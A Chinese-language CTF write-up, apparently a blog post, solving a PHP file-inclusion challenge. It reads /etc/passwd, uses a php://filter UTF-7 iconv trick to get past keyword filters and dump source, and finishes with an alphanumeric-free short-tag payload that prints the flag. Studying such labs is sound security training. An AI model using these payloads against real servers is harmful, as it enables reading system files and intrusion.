知识考察:PHP代码审计、文件包含、PHP短标签、PHP伪协议

解题思路

1、查看网页源代码,提示?file=code.php,访问http://8.131.66.222:12326/index.php?file=code.php可以看到在index.php输出hello
CTF-网鼎模拟题-RCE

判断应该存在文件包含漏洞,尝试读http://8.131.66.222:12326/index.php?file=/etc/passwd可以读到
CTF-网鼎模拟题-RCE

2、利用文件包含漏洞与php伪协议读取code.php源代码,发现base、read等一些关键字被过滤,提示“utf-8”
CTF-网鼎模拟题-RCE

想到之前做过的CTF可以通过利用iconv将utf-8编码转为utf-7编码读取code.php,读取code.php的payload:
?file=php://filter/convert.iconv.utf-8.utf-7/resource=code.php
CTF-网鼎模拟题-RCE

成功读取code.php,再利用http://toolswebtop.com/text/process/decode/UTF-7#进行解码,成功读取code.php
CTF-网鼎模拟题-RCE

3、尝试读取利用?file=php://filter/convert.iconv.utf-8.utf-7/resource=flag.php,无法读取,读取?file=php://filter/convert.iconv.utf-8.utf-7/resource=index.php,发现flag被过滤
CTF-网鼎模拟题-RCE

4、继续对code进行代码审计,发现对输入的code的值进行了过滤,过滤了所有字母与数字,想到是短标签,是长标签。在php的配置文件php.ini中有一个short_open_tag的值,开启以后可以使用PHP的短标签:同时,只有开启这个才可以使用 <?= 以代替 <? echo 。
最终payload:http://8.131.66.222:12326/code.php?code=?><?=/???/???%20????.????%3E,查看源代码,flag在最后
CTF-网鼎模拟题-RCE
CTF-网鼎模拟题-RCE

参考资料

PHP伪协议utf-8原理

[蓝帽杯2020第四届 线上赛]文件包含绕过
探索php://filter在实战当中的奇技淫巧

PHP短标签原理

ctf中 preg_match 绕过技术 | 无字母数字的webshell例题

相关文章:

  • 2021-12-29
  • 2021-10-12
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2021-09-02
  • 2022-12-23
猜你喜欢
  • 2021-03-31
  • 2022-12-23
  • 2022-01-18
  • 2021-09-29
  • 2022-12-23
  • 2021-12-20
  • 2021-05-12
相关资源
相似解决方案